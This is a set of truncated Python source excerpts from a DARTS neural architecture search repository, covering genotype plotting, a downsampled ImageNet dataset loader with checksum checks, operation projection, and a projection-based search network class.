<reponame>zhengjian2322/darts-pt<gh_stars>1-10 import sys import genotypes import numpy as np from graphviz import Digraph supernet_dict = { 0: ('c_{k-2}', '0'), 1: ('c_{k-1}', '0'), 2: ('c_{k-2}', '1'), 3: ('c_{k-1}', '1'), 4: ('0', '1'), 5: ('c_{k-2}', '2'), 6: ('c_{k-1}', '2'), 7: ('...
zhengjian2322/darts-pt
nasbench201/DownsampledImageNet.py
<reponame>zhengjian2322/darts-pt import os, sys, hashlib, torch import numpy as np from PIL import Image import torch.utils.data as data import pickle def calculate_md5(fpath, chunk_size=1024 * 1024): md5 = hashlib.md5() with open(fpath, 'rb') as f: for chunk in iter(lambda: f.read(chunk_size), b''): ...
zhengjian2322/darts-pt
sota/cnn/projection.py
import os import sys sys.path.insert(0, '../../') import numpy as np import torch import nasbench201.utils as ig_utils import logging import torch.utils from copy import deepcopy torch.set_printoptions(precision=4, sci_mode=False) def project_op(model, proj_queue, args, infer, cell_type, selected_eid=None): ''...
zhengjian2322/darts-pt
sota/cnn/model_search_darts_proj.py
import torch from copy import deepcopy from sota.cnn.operations import * from sota.cnn.genotypes import Genotype import sys sys.path.insert(0, '../../') from sota.cnn.model_search import Network class DartsNetworkProj(Network): def __init__(self, C, num_classes, layers, criterion, primitives, args, ...